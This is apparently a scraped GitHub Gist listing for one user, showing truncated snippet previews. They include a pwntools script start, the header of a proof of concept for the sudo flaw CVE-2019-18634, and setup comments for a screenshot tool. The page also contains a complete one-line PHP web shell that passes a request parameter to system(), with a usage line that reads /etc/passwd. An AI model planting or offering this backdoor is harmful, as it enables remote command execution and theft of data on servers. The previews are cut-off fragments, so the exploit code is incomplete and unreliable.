Skip to content

Instantly share code, notes, and snippets.

from pwn import *
import os
import random
import time
from itertools import product
#Identified ERROR messages
#ERROR Client not registered.
#ERROR Invalid API command. # if not real command or over 1000 len
#ERROR Incorrect Format, should be %s %[^\r\n\r\n]s\r\n\r\n
@rwincey
rwincey / CVE-2019-18634.py
Created February 16, 2020 12:15 — forked from wbowling/CVE-2019-18634.py
POC for CVE-2019-18634
#!/usr/bin/python
import os
import pty
from pwn import process, sleep, write, read, listen, p64
"""
From https://github.com/sudo-project/sudo/blob/SUDO_1_8_30/src/tgetpass.c#L401:
} else if (c == sudo_term_kill) {
<!-- Simple PHP Backdoor By DK (One-Liner Version) -->
<!-- Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd -->
<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>
@rwincey
rwincey / http_screenshot.py
Created February 26, 2019 15:31
Website screenshot
# Author: b0yd @rwincey
# Website: securifera.com
#
# Setup:
# -------------------------------------------------
# pip install selenium
# wget https://dl.google.com/linux/direct/google-chrome-stable_current_amd64.deb
# google-chrome-stable --version
# Vist http://chromedriver.chromium.org/downloads to identity the right version
# wget https://chromedriver.storage.googleapis.com/72.0.3626.69/chromedriver_linux64.zip